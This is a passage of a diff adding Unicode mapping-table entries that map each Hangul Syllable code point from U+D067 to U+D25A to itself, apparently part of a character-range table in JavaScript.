+ ["\uD067", "\uD067"], /* Hangul Syllable */
+ ["\uD068", "\uD068"], /* Hangul Syllable */
+ ["\uD069", "\uD069"], /* Hangul Syllable */
+ ["\uD06A", "\uD06A"], /* Hangul Syllable */
+ ["\uD06B", "\uD06B"], /* Hangul Syllable */
+ ["\uD06C", "\uD06C"], /* Hangul Syllable */
+ ["\uD06D", "\uD06D"], /* Hangul Syllable */
+ ["\uD06E", "\uD06E"], /* Hangul Syllable */
+ ["\uD06F", "\uD06F"], /* Hangul Syllable */
+ ["\uD070", "\uD070"], /* Hangul Syllable */
+ ["\uD071", "\uD071"], /* Hangul Syllable */
+ ["\uD072", "\uD072"], /* Hangul Syllable */
+ ["\uD073", "\uD073"], /* Hangul Syllable */
+ ["\uD074", "\uD074"], /* Hangul Syllable */
+ ["\uD075", "\uD075"], /* Hangul Syllable */
+ ["\uD076", "\uD076"], /* Hangul Syllable */
+ ["\uD077", "\uD077"], /* Hangul Syllable */
+ ["\uD078", "\uD078"], /* Hangul Syllable */
+ ["\uD079", "\uD079"], /* Hangul Syllable */
+ ["\uD07A", "\uD07A"], /* Hangul Syllable */
+ ["\uD07B", "\uD07B"], /* Hangul Syllable */
+ ["\uD07C", "\uD07C"], /* Hangul Syllable */
+ ["\uD07D", "\uD07D"], /* Hangul Syllable */
+ ["\uD07E", "\uD07E"], /* Hangul Syllable */
+ ["\uD07F", "\uD07F"], /* Hangul Syllable */
+ ["\uD080", "\uD080"], /* Hangul Syllable */
+ ["\uD081", "\uD081"], /* Hangul Syllable */
+ ["\uD082", "\uD082"], /* Hangul Syllable */
+ ["\uD083", "\uD083"], /* Hangul Syllable */
+ ["\uD084", "\uD084"], /* Hangul Syllable */
+ ["\uD085", "\uD085"], /* Hangul Syllable */
+ ["\uD086", "\uD086"], /* Hangul Syllable */
+ ["\uD087", "\uD087"], /* Hangul Syllable */
+ ["\uD088", "\uD088"], /* Hangul Syllable */
+ ["\uD089", "\uD089"], /* Hangul Syllable */
+ ["\uD08A", "\uD08A"], /* Hangul Syllable */
+ ["\uD08B", "\uD08B"], /* Hangul Syllable */
+ ["\uD08C", "\uD08C"], /* Hangul Syllable */
+ ["\uD08D", "\uD08D"], /* Hangul Syllable */
+ ["\uD08E", "\uD08E"], /* Hangul Syllable */
+ ["\uD08F", "\uD08F"], /* Hangul Syllable */
+ ["\uD090", "\uD090"], /* Hangul Syllable */
+ ["\uD091", "\uD091"], /* Hangul Syllable */
+ ["\uD092", "\uD092"], /* Hangul Syllable */
+ ["\uD093", "\uD093"], /* Hangul Syllable */
+ ["\uD094", "\uD094"], /* Hangul Syllable */
+ ["\uD095", "\uD095"], /* Hangul Syllable */
+ ["\uD096", "\uD096"], /* Hangul Syllable */
+ ["\uD097", "\uD097"], /* Hangul Syllable */
+ ["\uD098", "\uD098"], /* Hangul Syllable */
+ ["\uD099", "\uD099"], /* Hangul Syllable */
+ ["\uD09A", "\uD09A"], /* Hangul Syllable */
+ ["\uD09B", "\uD09B"], /* Hangul Syllable */
+ ["\uD09C", "\uD09C"], /* Hangul Syllable */
+ ["\uD09D", "\uD09D"], /* Hangul Syllable */
+ ["\uD09E", "\uD09E"], /* Hangul Syllable */
+ ["\uD09F", "\uD09F"], /* Hangul Syllable */
+ ["\uD0A0", "\uD0A0"], /* Hangul Syllable */
+ ["\uD0A1", "\uD0A1"], /* Hangul Syllable */
+ ["\uD0A2", "\uD0A2"], /* Hangul Syllable */
+ ["\uD0A3", "\uD0A3"], /* Hangul Syllable */
+ ["\uD0A4", "\uD0A4"], /* Hangul Syllable */
+ ["\uD0A5", "\uD0A5"], /* Hangul Syllable */
+ ["\uD0A6", "\uD0A6"], /* Hangul Syllable */
+ ["\uD0A7", "\uD0A7"], /* Hangul Syllable */
+ ["\uD0A8", "\uD0A8"], /* Hangul Syllable */
+ ["\uD0A9", "\uD0A9"], /* Hangul Syllable */
+ ["\uD0AA", "\uD0AA"], /* Hangul Syllable */
+ ["\uD0AB", "\uD0AB"], /* Hangul Syllable */
+ ["\uD0AC", "\uD0AC"], /* Hangul Syllable */
+ ["\uD0AD", "\uD0AD"], /* Hangul Syllable */
+ ["\uD0AE", "\uD0AE"], /* Hangul Syllable */
+ ["\uD0AF", "\uD0AF"], /* Hangul Syllable */
+ ["\uD0B0", "\uD0B0"], /* Hangul Syllable */
+ ["\uD0B1", "\uD0B1"], /* Hangul Syllable */
+ ["\uD0B2", "\uD0B2"], /* Hangul Syllable */
+ ["\uD0B3", "\uD0B3"], /* Hangul Syllable */
+ ["\uD0B4", "\uD0B4"], /* Hangul Syllable */
+ ["\uD0B5", "\uD0B5"], /* Hangul Syllable */
+ ["\uD0B6", "\uD0B6"], /* Hangul Syllable */
+ ["\uD0B7", "\uD0B7"], /* Hangul Syllable */
+ ["\uD0B8", "\uD0B8"], /* Hangul Syllable */
+ ["\uD0B9", "\uD0B9"], /* Hangul Syllable */
+ ["\uD0BA", "\uD0BA"], /* Hangul Syllable */
+ ["\uD0BB", "\uD0BB"], /* Hangul Syllable */
+ ["\uD0BC", "\uD0BC"], /* Hangul Syllable */
+ ["\uD0BD", "\uD0BD"], /* Hangul Syllable */
+ ["\uD0BE", "\uD0BE"], /* Hangul Syllable */
+ ["\uD0BF", "\uD0BF"], /* Hangul Syllable */
+ ["\uD0C0", "\uD0C0"], /* Hangul Syllable */
+ ["\uD0C1", "\uD0C1"], /* Hangul Syllable */
+ ["\uD0C2", "\uD0C2"], /* Hangul Syllable */
+ ["\uD0C3", "\uD0C3"], /* Hangul Syllable */
+ ["\uD0C4", "\uD0C4"], /* Hangul Syllable */
+ ["\uD0C5", "\uD0C5"], /* Hangul Syllable */
+ ["\uD0C6", "\uD0C6"], /* Hangul Syllable */
+ ["\uD0C7", "\uD0C7"], /* Hangul Syllable */
+ ["\uD0C8", "\uD0C8"], /* Hangul Syllable */
+ ["\uD0C9", "\uD0C9"], /* Hangul Syllable */
+ ["\uD0CA", "\uD0CA"], /* Hangul Syllable */
+ ["\uD0CB", "\uD0CB"], /* Hangul Syllable */
+ ["\uD0CC", "\uD0CC"], /* Hangul Syllable */
+ ["\uD0CD", "\uD0CD"], /* Hangul Syllable */
+ ["\uD0CE", "\uD0CE"], /* Hangul Syllable */
+ ["\uD0CF", "\uD0CF"], /* Hangul Syllable */
+ ["\uD0D0", "\uD0D0"], /* Hangul Syllable */
+ ["\uD0D1", "\uD0D1"], /* Hangul Syllable */
+ ["\uD0D2", "\uD0D2"], /* Hangul Syllable */
+ ["\uD0D3", "\uD0D3"], /* Hangul Syllable */
+ ["\uD0D4", "\uD0D4"], /* Hangul Syllable */
+ ["\uD0D5", "\uD0D5"], /* Hangul Syllable */
+ ["\uD0D6", "\uD0D6"], /* Hangul Syllable */
+ ["\uD0D7", "\uD0D7"], /* Hangul Syllable */
+ ["\uD0D8", "\uD0D8"], /* Hangul Syllable */
+ ["\uD0D9", "\uD0D9"], /* Hangul Syllable */
+ ["\uD0DA", "\uD0DA"], /* Hangul Syllable */
+ ["\uD0DB", "\uD0DB"], /* Hangul Syllable */
+ ["\uD0DC", "\uD0DC"], /* Hangul Syllable */
+ ["\uD0DD", "\uD0DD"], /* Hangul Syllable */
+ ["\uD0DE", "\uD0DE"], /* Hangul Syllable */
+ ["\uD0DF", "\uD0DF"], /* Hangul Syllable */
+ ["\uD0E0", "\uD0E0"], /* Hangul Syllable */
+ ["\uD0E1", "\uD0E1"], /* Hangul Syllable */
+ ["\uD0E2", "\uD0E2"], /* Hangul Syllable */
+ ["\uD0E3", "\uD0E3"], /* Hangul Syllable */
+ ["\uD0E4", "\uD0E4"], /* Hangul Syllable */
+ ["\uD0E5", "\uD0E5"], /* Hangul Syllable */
+ ["\uD0E6", "\uD0E6"], /* Hangul Syllable */
+ ["\uD0E7", "\uD0E7"], /* Hangul Syllable */
+ ["\uD0E8", "\uD0E8"], /* Hangul Syllable */
+ ["\uD0E9", "\uD0E9"], /* Hangul Syllable */
+ ["\uD0EA", "\uD0EA"], /* Hangul Syllable */
+ ["\uD0EB", "\uD0EB"], /* Hangul Syllable */
+ ["\uD0EC", "\uD0EC"], /* Hangul Syllable */
+ ["\uD0ED", "\uD0ED"], /* Hangul Syllable */
+ ["\uD0EE", "\uD0EE"], /* Hangul Syllable */
+ ["\uD0EF", "\uD0EF"], /* Hangul Syllable */
+ ["\uD0F0", "\uD0F0"], /* Hangul Syllable */
+ ["\uD0F1", "\uD0F1"], /* Hangul Syllable */
+ ["\uD0F2", "\uD0F2"], /* Hangul Syllable */
+ ["\uD0F3", "\uD0F3"], /* Hangul Syllable */
+ ["\uD0F4", "\uD0F4"], /* Hangul Syllable */
+ ["\uD0F5", "\uD0F5"], /* Hangul Syllable */
+ ["\uD0F6", "\uD0F6"], /* Hangul Syllable */
+ ["\uD0F7", "\uD0F7"], /* Hangul Syllable */
+ ["\uD0F8", "\uD0F8"], /* Hangul Syllable */
+ ["\uD0F9", "\uD0F9"], /* Hangul Syllable */
+ ["\uD0FA", "\uD0FA"], /* Hangul Syllable */
+ ["\uD0FB", "\uD0FB"], /* Hangul Syllable */
+ ["\uD0FC", "\uD0FC"], /* Hangul Syllable */
+ ["\uD0FD", "\uD0FD"], /* Hangul Syllable */
+ ["\uD0FE", "\uD0FE"], /* Hangul Syllable */
+ ["\uD0FF", "\uD0FF"], /* Hangul Syllable */
+ ["\uD100", "\uD100"], /* Hangul Syllable */
+ ["\uD101", "\uD101"], /* Hangul Syllable */
+ ["\uD102", "\uD102"], /* Hangul Syllable */
+ ["\uD103", "\uD103"], /* Hangul Syllable */
+ ["\uD104", "\uD104"], /* Hangul Syllable */
+ ["\uD105", "\uD105"], /* Hangul Syllable */
+ ["\uD106", "\uD106"], /* Hangul Syllable */
+ ["\uD107", "\uD107"], /* Hangul Syllable */
+ ["\uD108", "\uD108"], /* Hangul Syllable */
+ ["\uD109", "\uD109"], /* Hangul Syllable */
+ ["\uD10A", "\uD10A"], /* Hangul Syllable */
+ ["\uD10B", "\uD10B"], /* Hangul Syllable */
+ ["\uD10C", "\uD10C"], /* Hangul Syllable */
+ ["\uD10D", "\uD10D"], /* Hangul Syllable */
+ ["\uD10E", "\uD10E"], /* Hangul Syllable */
+ ["\uD10F", "\uD10F"], /* Hangul Syllable */
+ ["\uD110", "\uD110"], /* Hangul Syllable */
+ ["\uD111", "\uD111"], /* Hangul Syllable */
+ ["\uD112", "\uD112"], /* Hangul Syllable */
+ ["\uD113", "\uD113"], /* Hangul Syllable */
+ ["\uD114", "\uD114"], /* Hangul Syllable */
+ ["\uD115", "\uD115"], /* Hangul Syllable */
+ ["\uD116", "\uD116"], /* Hangul Syllable */
+ ["\uD117", "\uD117"], /* Hangul Syllable */
+ ["\uD118", "\uD118"], /* Hangul Syllable */
+ ["\uD119", "\uD119"], /* Hangul Syllable */
+ ["\uD11A", "\uD11A"], /* Hangul Syllable */
+ ["\uD11B", "\uD11B"], /* Hangul Syllable */
+ ["\uD11C", "\uD11C"], /* Hangul Syllable */
+ ["\uD11D", "\uD11D"], /* Hangul Syllable */
+ ["\uD11E", "\uD11E"], /* Hangul Syllable */
+ ["\uD11F", "\uD11F"], /* Hangul Syllable */
+ ["\uD120", "\uD120"], /* Hangul Syllable */
+ ["\uD121", "\uD121"], /* Hangul Syllable */
+ ["\uD122", "\uD122"], /* Hangul Syllable */
+ ["\uD123", "\uD123"], /* Hangul Syllable */
+ ["\uD124", "\uD124"], /* Hangul Syllable */
+ ["\uD125", "\uD125"], /* Hangul Syllable */
+ ["\uD126", "\uD126"], /* Hangul Syllable */
+ ["\uD127", "\uD127"], /* Hangul Syllable */
+ ["\uD128", "\uD128"], /* Hangul Syllable */
+ ["\uD129", "\uD129"], /* Hangul Syllable */
+ ["\uD12A", "\uD12A"], /* Hangul Syllable */
+ ["\uD12B", "\uD12B"], /* Hangul Syllable */
+ ["\uD12C", "\uD12C"], /* Hangul Syllable */
+ ["\uD12D", "\uD12D"], /* Hangul Syllable */
+ ["\uD12E", "\uD12E"], /* Hangul Syllable */
+ ["\uD12F", "\uD12F"], /* Hangul Syllable */
+ ["\uD130", "\uD130"], /* Hangul Syllable */
+ ["\uD131", "\uD131"], /* Hangul Syllable */
+ ["\uD132", "\uD132"], /* Hangul Syllable */
+ ["\uD133", "\uD133"], /* Hangul Syllable */
+ ["\uD134", "\uD134"], /* Hangul Syllable */
+ ["\uD135", "\uD135"], /* Hangul Syllable */
+ ["\uD136", "\uD136"], /* Hangul Syllable */
+ ["\uD137", "\uD137"], /* Hangul Syllable */
+ ["\uD138", "\uD138"], /* Hangul Syllable */
+ ["\uD139", "\uD139"], /* Hangul Syllable */
+ ["\uD13A", "\uD13A"], /* Hangul Syllable */
+ ["\uD13B", "\uD13B"], /* Hangul Syllable */
+ ["\uD13C", "\uD13C"], /* Hangul Syllable */
+ ["\uD13D", "\uD13D"], /* Hangul Syllable */
+ ["\uD13E", "\uD13E"], /* Hangul Syllable */
+ ["\uD13F", "\uD13F"], /* Hangul Syllable */
+ ["\uD140", "\uD140"], /* Hangul Syllable */
+ ["\uD141", "\uD141"], /* Hangul Syllable */
+ ["\uD142", "\uD142"], /* Hangul Syllable */
+ ["\uD143", "\uD143"], /* Hangul Syllable */
+ ["\uD144", "\uD144"], /* Hangul Syllable */
+ ["\uD145", "\uD145"], /* Hangul Syllable */
+ ["\uD146", "\uD146"], /* Hangul Syllable */
+ ["\uD147", "\uD147"], /* Hangul Syllable */
+ ["\uD148", "\uD148"], /* Hangul Syllable */
+ ["\uD149", "\uD149"], /* Hangul Syllable */
+ ["\uD14A", "\uD14A"], /* Hangul Syllable */
+ ["\uD14B", "\uD14B"], /* Hangul Syllable */
+ ["\uD14C", "\uD14C"], /* Hangul Syllable */
+ ["\uD14D", "\uD14D"], /* Hangul Syllable */
+ ["\uD14E", "\uD14E"], /* Hangul Syllable */
+ ["\uD14F", "\uD14F"], /* Hangul Syllable */
+ ["\uD150", "\uD150"], /* Hangul Syllable */
+ ["\uD151", "\uD151"], /* Hangul Syllable */
+ ["\uD152", "\uD152"], /* Hangul Syllable */
+ ["\uD153", "\uD153"], /* Hangul Syllable */
+ ["\uD154", "\uD154"], /* Hangul Syllable */
+ ["\uD155", "\uD155"], /* Hangul Syllable */
+ ["\uD156", "\uD156"], /* Hangul Syllable */
+ ["\uD157", "\uD157"], /* Hangul Syllable */
+ ["\uD158", "\uD158"], /* Hangul Syllable */
+ ["\uD159", "\uD159"], /* Hangul Syllable */
+ ["\uD15A", "\uD15A"], /* Hangul Syllable */
+ ["\uD15B", "\uD15B"], /* Hangul Syllable */
+ ["\uD15C", "\uD15C"], /* Hangul Syllable */
+ ["\uD15D", "\uD15D"], /* Hangul Syllable */
+ ["\uD15E", "\uD15E"], /* Hangul Syllable */
+ ["\uD15F", "\uD15F"], /* Hangul Syllable */
+ ["\uD160", "\uD160"], /* Hangul Syllable */
+ ["\uD161", "\uD161"], /* Hangul Syllable */
+ ["\uD162", "\uD162"], /* Hangul Syllable */
+ ["\uD163", "\uD163"], /* Hangul Syllable */
+ ["\uD164", "\uD164"], /* Hangul Syllable */
+ ["\uD165", "\uD165"], /* Hangul Syllable */
+ ["\uD166", "\uD166"], /* Hangul Syllable */
+ ["\uD167", "\uD167"], /* Hangul Syllable */
+ ["\uD168", "\uD168"], /* Hangul Syllable */
+ ["\uD169", "\uD169"], /* Hangul Syllable */
+ ["\uD16A", "\uD16A"], /* Hangul Syllable */
+ ["\uD16B", "\uD16B"], /* Hangul Syllable */
+ ["\uD16C", "\uD16C"], /* Hangul Syllable */
+ ["\uD16D", "\uD16D"], /* Hangul Syllable */
+ ["\uD16E", "\uD16E"], /* Hangul Syllable */
+ ["\uD16F", "\uD16F"], /* Hangul Syllable */
+ ["\uD170", "\uD170"], /* Hangul Syllable */
+ ["\uD171", "\uD171"], /* Hangul Syllable */
+ ["\uD172", "\uD172"], /* Hangul Syllable */
+ ["\uD173", "\uD173"], /* Hangul Syllable */
+ ["\uD174", "\uD174"], /* Hangul Syllable */
+ ["\uD175", "\uD175"], /* Hangul Syllable */
+ ["\uD176", "\uD176"], /* Hangul Syllable */
+ ["\uD177", "\uD177"], /* Hangul Syllable */
+ ["\uD178", "\uD178"], /* Hangul Syllable */
+ ["\uD179", "\uD179"], /* Hangul Syllable */
+ ["\uD17A", "\uD17A"], /* Hangul Syllable */
+ ["\uD17B", "\uD17B"], /* Hangul Syllable */
+ ["\uD17C", "\uD17C"], /* Hangul Syllable */
+ ["\uD17D", "\uD17D"], /* Hangul Syllable */
+ ["\uD17E", "\uD17E"], /* Hangul Syllable */
+ ["\uD17F", "\uD17F"], /* Hangul Syllable */
+ ["\uD180", "\uD180"], /* Hangul Syllable */
+ ["\uD181", "\uD181"], /* Hangul Syllable */
+ ["\uD182", "\uD182"], /* Hangul Syllable */
+ ["\uD183", "\uD183"], /* Hangul Syllable */
+ ["\uD184", "\uD184"], /* Hangul Syllable */
+ ["\uD185", "\uD185"], /* Hangul Syllable */
+ ["\uD186", "\uD186"], /* Hangul Syllable */
+ ["\uD187", "\uD187"], /* Hangul Syllable */
+ ["\uD188", "\uD188"], /* Hangul Syllable */
+ ["\uD189", "\uD189"], /* Hangul Syllable */
+ ["\uD18A", "\uD18A"], /* Hangul Syllable */
+ ["\uD18B", "\uD18B"], /* Hangul Syllable */
+ ["\uD18C", "\uD18C"], /* Hangul Syllable */
+ ["\uD18D", "\uD18D"], /* Hangul Syllable */
+ ["\uD18E", "\uD18E"], /* Hangul Syllable */
+ ["\uD18F", "\uD18F"], /* Hangul Syllable */
+ ["\uD190", "\uD190"], /* Hangul Syllable */
+ ["\uD191", "\uD191"], /* Hangul Syllable */
+ ["\uD192", "\uD192"], /* Hangul Syllable */
+ ["\uD193", "\uD193"], /* Hangul Syllable */
+ ["\uD194", "\uD194"], /* Hangul Syllable */
+ ["\uD195", "\uD195"], /* Hangul Syllable */
+ ["\uD196", "\uD196"], /* Hangul Syllable */
+ ["\uD197", "\uD197"], /* Hangul Syllable */
+ ["\uD198", "\uD198"], /* Hangul Syllable */
+ ["\uD199", "\uD199"], /* Hangul Syllable */
+ ["\uD19A", "\uD19A"], /* Hangul Syllable */
+ ["\uD19B", "\uD19B"], /* Hangul Syllable */
+ ["\uD19C", "\uD19C"], /* Hangul Syllable */
+ ["\uD19D", "\uD19D"], /* Hangul Syllable */
+ ["\uD19E", "\uD19E"], /* Hangul Syllable */
+ ["\uD19F", "\uD19F"], /* Hangul Syllable */
+ ["\uD1A0", "\uD1A0"], /* Hangul Syllable */
+ ["\uD1A1", "\uD1A1"], /* Hangul Syllable */
+ ["\uD1A2", "\uD1A2"], /* Hangul Syllable */
+ ["\uD1A3", "\uD1A3"], /* Hangul Syllable */
+ ["\uD1A4", "\uD1A4"], /* Hangul Syllable */
+ ["\uD1A5", "\uD1A5"], /* Hangul Syllable */
+ ["\uD1A6", "\uD1A6"], /* Hangul Syllable */
+ ["\uD1A7", "\uD1A7"], /* Hangul Syllable */
+ ["\uD1A8", "\uD1A8"], /* Hangul Syllable */
+ ["\uD1A9", "\uD1A9"], /* Hangul Syllable */
+ ["\uD1AA", "\uD1AA"], /* Hangul Syllable */
+ ["\uD1AB", "\uD1AB"], /* Hangul Syllable */
+ ["\uD1AC", "\uD1AC"], /* Hangul Syllable */
+ ["\uD1AD", "\uD1AD"], /* Hangul Syllable */
+ ["\uD1AE", "\uD1AE"], /* Hangul Syllable */
+ ["\uD1AF", "\uD1AF"], /* Hangul Syllable */
+ ["\uD1B0", "\uD1B0"], /* Hangul Syllable */
+ ["\uD1B1", "\uD1B1"], /* Hangul Syllable */
+ ["\uD1B2", "\uD1B2"], /* Hangul Syllable */
+ ["\uD1B3", "\uD1B3"], /* Hangul Syllable */
+ ["\uD1B4", "\uD1B4"], /* Hangul Syllable */
+ ["\uD1B5", "\uD1B5"], /* Hangul Syllable */
+ ["\uD1B6", "\uD1B6"], /* Hangul Syllable */
+ ["\uD1B7", "\uD1B7"], /* Hangul Syllable */
+ ["\uD1B8", "\uD1B8"], /* Hangul Syllable */
+ ["\uD1B9", "\uD1B9"], /* Hangul Syllable */
+ ["\uD1BA", "\uD1BA"], /* Hangul Syllable */
+ ["\uD1BB", "\uD1BB"], /* Hangul Syllable */
+ ["\uD1BC", "\uD1BC"], /* Hangul Syllable */
+ ["\uD1BD", "\uD1BD"], /* Hangul Syllable */
+ ["\uD1BE", "\uD1BE"], /* Hangul Syllable */
+ ["\uD1BF", "\uD1BF"], /* Hangul Syllable */
+ ["\uD1C0", "\uD1C0"], /* Hangul Syllable */
+ ["\uD1C1", "\uD1C1"], /* Hangul Syllable */
+ ["\uD1C2", "\uD1C2"], /* Hangul Syllable */
+ ["\uD1C3", "\uD1C3"], /* Hangul Syllable */
+ ["\uD1C4", "\uD1C4"], /* Hangul Syllable */
+ ["\uD1C5", "\uD1C5"], /* Hangul Syllable */
+ ["\uD1C6", "\uD1C6"], /* Hangul Syllable */
+ ["\uD1C7", "\uD1C7"], /* Hangul Syllable */
+ ["\uD1C8", "\uD1C8"], /* Hangul Syllable */
+ ["\uD1C9", "\uD1C9"], /* Hangul Syllable */
+ ["\uD1CA", "\uD1CA"], /* Hangul Syllable */
+ ["\uD1CB", "\uD1CB"], /* Hangul Syllable */
+ ["\uD1CC", "\uD1CC"], /* Hangul Syllable */
+ ["\uD1CD", "\uD1CD"], /* Hangul Syllable */
+ ["\uD1CE", "\uD1CE"], /* Hangul Syllable */
+ ["\uD1CF", "\uD1CF"], /* Hangul Syllable */
+ ["\uD1D0", "\uD1D0"], /* Hangul Syllable */
+ ["\uD1D1", "\uD1D1"], /* Hangul Syllable */
+ ["\uD1D2", "\uD1D2"], /* Hangul Syllable */
+ ["\uD1D3", "\uD1D3"], /* Hangul Syllable */
+ ["\uD1D4", "\uD1D4"], /* Hangul Syllable */
+ ["\uD1D5", "\uD1D5"], /* Hangul Syllable */
+ ["\uD1D6", "\uD1D6"], /* Hangul Syllable */
+ ["\uD1D7", "\uD1D7"], /* Hangul Syllable */
+ ["\uD1D8", "\uD1D8"], /* Hangul Syllable */
+ ["\uD1D9", "\uD1D9"], /* Hangul Syllable */
+ ["\uD1DA", "\uD1DA"], /* Hangul Syllable */
+ ["\uD1DB", "\uD1DB"], /* Hangul Syllable */
+ ["\uD1DC", "\uD1DC"], /* Hangul Syllable */
+ ["\uD1DD", "\uD1DD"], /* Hangul Syllable */
+ ["\uD1DE", "\uD1DE"], /* Hangul Syllable */
+ ["\uD1DF", "\uD1DF"], /* Hangul Syllable */
+ ["\uD1E0", "\uD1E0"], /* Hangul Syllable */
+ ["\uD1E1", "\uD1E1"], /* Hangul Syllable */
+ ["\uD1E2", "\uD1E2"], /* Hangul Syllable */
+ ["\uD1E3", "\uD1E3"], /* Hangul Syllable */
+ ["\uD1E4", "\uD1E4"], /* Hangul Syllable */
+ ["\uD1E5", "\uD1E5"], /* Hangul Syllable */
+ ["\uD1E6", "\uD1E6"], /* Hangul Syllable */
+ ["\uD1E7", "\uD1E7"], /* Hangul Syllable */
+ ["\uD1E8", "\uD1E8"], /* Hangul Syllable */
+ ["\uD1E9", "\uD1E9"], /* Hangul Syllable */
+ ["\uD1EA", "\uD1EA"], /* Hangul Syllable */
+ ["\uD1EB", "\uD1EB"], /* Hangul Syllable */
+ ["\uD1EC", "\uD1EC"], /* Hangul Syllable */
+ ["\uD1ED", "\uD1ED"], /* Hangul Syllable */
+ ["\uD1EE", "\uD1EE"], /* Hangul Syllable */
+ ["\uD1EF", "\uD1EF"], /* Hangul Syllable */
+ ["\uD1F0", "\uD1F0"], /* Hangul Syllable */
+ ["\uD1F1", "\uD1F1"], /* Hangul Syllable */
+ ["\uD1F2", "\uD1F2"], /* Hangul Syllable */
+ ["\uD1F3", "\uD1F3"], /* Hangul Syllable */
+ ["\uD1F4", "\uD1F4"], /* Hangul Syllable */
+ ["\uD1F5", "\uD1F5"], /* Hangul Syllable */
+ ["\uD1F6", "\uD1F6"], /* Hangul Syllable */
+ ["\uD1F7", "\uD1F7"], /* Hangul Syllable */
+ ["\uD1F8", "\uD1F8"], /* Hangul Syllable */
+ ["\uD1F9", "\uD1F9"], /* Hangul Syllable */
+ ["\uD1FA", "\uD1FA"], /* Hangul Syllable */
+ ["\uD1FB", "\uD1FB"], /* Hangul Syllable */
+ ["\uD1FC", "\uD1FC"], /* Hangul Syllable */
+ ["\uD1FD", "\uD1FD"], /* Hangul Syllable */
+ ["\uD1FE", "\uD1FE"], /* Hangul Syllable */
+ ["\uD1FF", "\uD1FF"], /* Hangul Syllable */
+ ["\uD200", "\uD200"], /* Hangul Syllable */
+ ["\uD201", "\uD201"], /* Hangul Syllable */
+ ["\uD202", "\uD202"], /* Hangul Syllable */
+ ["\uD203", "\uD203"], /* Hangul Syllable */
+ ["\uD204", "\uD204"], /* Hangul Syllable */
+ ["\uD205", "\uD205"], /* Hangul Syllable */
+ ["\uD206", "\uD206"], /* Hangul Syllable */
+ ["\uD207", "\uD207"], /* Hangul Syllable */
+ ["\uD208", "\uD208"], /* Hangul Syllable */
+ ["\uD209", "\uD209"], /* Hangul Syllable */
+ ["\uD20A", "\uD20A"], /* Hangul Syllable */
+ ["\uD20B", "\uD20B"], /* Hangul Syllable */
+ ["\uD20C", "\uD20C"], /* Hangul Syllable */
+ ["\uD20D", "\uD20D"], /* Hangul Syllable */
+ ["\uD20E", "\uD20E"], /* Hangul Syllable */
+ ["\uD20F", "\uD20F"], /* Hangul Syllable */
+ ["\uD210", "\uD210"], /* Hangul Syllable */
+ ["\uD211", "\uD211"], /* Hangul Syllable */
+ ["\uD212", "\uD212"], /* Hangul Syllable */
+ ["\uD213", "\uD213"], /* Hangul Syllable */
+ ["\uD214", "\uD214"], /* Hangul Syllable */
+ ["\uD215", "\uD215"], /* Hangul Syllable */
+ ["\uD216", "\uD216"], /* Hangul Syllable */
+ ["\uD217", "\uD217"], /* Hangul Syllable */
+ ["\uD218", "\uD218"], /* Hangul Syllable */
+ ["\uD219", "\uD219"], /* Hangul Syllable */
+ ["\uD21A", "\uD21A"], /* Hangul Syllable */
+ ["\uD21B", "\uD21B"], /* Hangul Syllable */
+ ["\uD21C", "\uD21C"], /* Hangul Syllable */
+ ["\uD21D", "\uD21D"], /* Hangul Syllable */
+ ["\uD21E", "\uD21E"], /* Hangul Syllable */
+ ["\uD21F", "\uD21F"], /* Hangul Syllable */
+ ["\uD220", "\uD220"], /* Hangul Syllable */
+ ["\uD221", "\uD221"], /* Hangul Syllable */
+ ["\uD222", "\uD222"], /* Hangul Syllable */
+ ["\uD223", "\uD223"], /* Hangul Syllable */
+ ["\uD224", "\uD224"], /* Hangul Syllable */
+ ["\uD225", "\uD225"], /* Hangul Syllable */
+ ["\uD226", "\uD226"], /* Hangul Syllable */
+ ["\uD227", "\uD227"], /* Hangul Syllable */
+ ["\uD228", "\uD228"], /* Hangul Syllable */
+ ["\uD229", "\uD229"], /* Hangul Syllable */
+ ["\uD22A", "\uD22A"], /* Hangul Syllable */
+ ["\uD22B", "\uD22B"], /* Hangul Syllable */
+ ["\uD22C", "\uD22C"], /* Hangul Syllable */
+ ["\uD22D", "\uD22D"], /* Hangul Syllable */
+ ["\uD22E", "\uD22E"], /* Hangul Syllable */
+ ["\uD22F", "\uD22F"], /* Hangul Syllable */
+ ["\uD230", "\uD230"], /* Hangul Syllable */
+ ["\uD231", "\uD231"], /* Hangul Syllable */
+ ["\uD232", "\uD232"], /* Hangul Syllable */
+ ["\uD233", "\uD233"], /* Hangul Syllable */
+ ["\uD234", "\uD234"], /* Hangul Syllable */
+ ["\uD235", "\uD235"], /* Hangul Syllable */
+ ["\uD236", "\uD236"], /* Hangul Syllable */
+ ["\uD237", "\uD237"], /* Hangul Syllable */
+ ["\uD238", "\uD238"], /* Hangul Syllable */
+ ["\uD239", "\uD239"], /* Hangul Syllable */
+ ["\uD23A", "\uD23A"], /* Hangul Syllable */
+ ["\uD23B", "\uD23B"], /* Hangul Syllable */
+ ["\uD23C", "\uD23C"], /* Hangul Syllable */
+ ["\uD23D", "\uD23D"], /* Hangul Syllable */
+ ["\uD23E", "\uD23E"], /* Hangul Syllable */
+ ["\uD23F", "\uD23F"], /* Hangul Syllable */
+ ["\uD240", "\uD240"], /* Hangul Syllable */
+ ["\uD241", "\uD241"], /* Hangul Syllable */
+ ["\uD242", "\uD242"], /* Hangul Syllable */
+ ["\uD243", "\uD243"], /* Hangul Syllable */
+ ["\uD244", "\uD244"], /* Hangul Syllable */
+ ["\uD245", "\uD245"], /* Hangul Syllable */
+ ["\uD246", "\uD246"], /* Hangul Syllable */
+ ["\uD247", "\uD247"], /* Hangul Syllable */
+ ["\uD248", "\uD248"], /* Hangul Syllable */
+ ["\uD249", "\uD249"], /* Hangul Syllable */
+ ["\uD24A", "\uD24A"], /* Hangul Syllable */
+ ["\uD24B", "\uD24B"], /* Hangul Syllable */
+ ["\uD24C", "\uD24C"], /* Hangul Syllable */
+ ["\uD24D", "\uD24D"], /* Hangul Syllable */
+ ["\uD24E", "\uD24E"], /* Hangul Syllable */
+ ["\uD24F", "\uD24F"], /* Hangul Syllable */
+ ["\uD250", "\uD250"], /* Hangul Syllable */
+ ["\uD251", "\uD251"], /* Hangul Syllable */
+ ["\uD252", "\uD252"], /* Hangul Syllable */
+ ["\uD253", "\uD253"], /* Hangul Syllable */
+ ["\uD254", "\uD254"], /* Hangul Syllable */
+ ["\uD255", "\uD255"], /* Hangul Syllable */
+ ["\uD256", "\uD256"], /* Hangul Syllable */
+ ["\uD257", "\uD257"], /* Hangul Syllable */
+ ["\uD258", "\uD258"], /* Hangul Syllable */
+ ["\uD259", "\uD259"], /* Hangul Syllable */
+ ["\uD25A", "\uD25A"], /* Hangul Syllable */
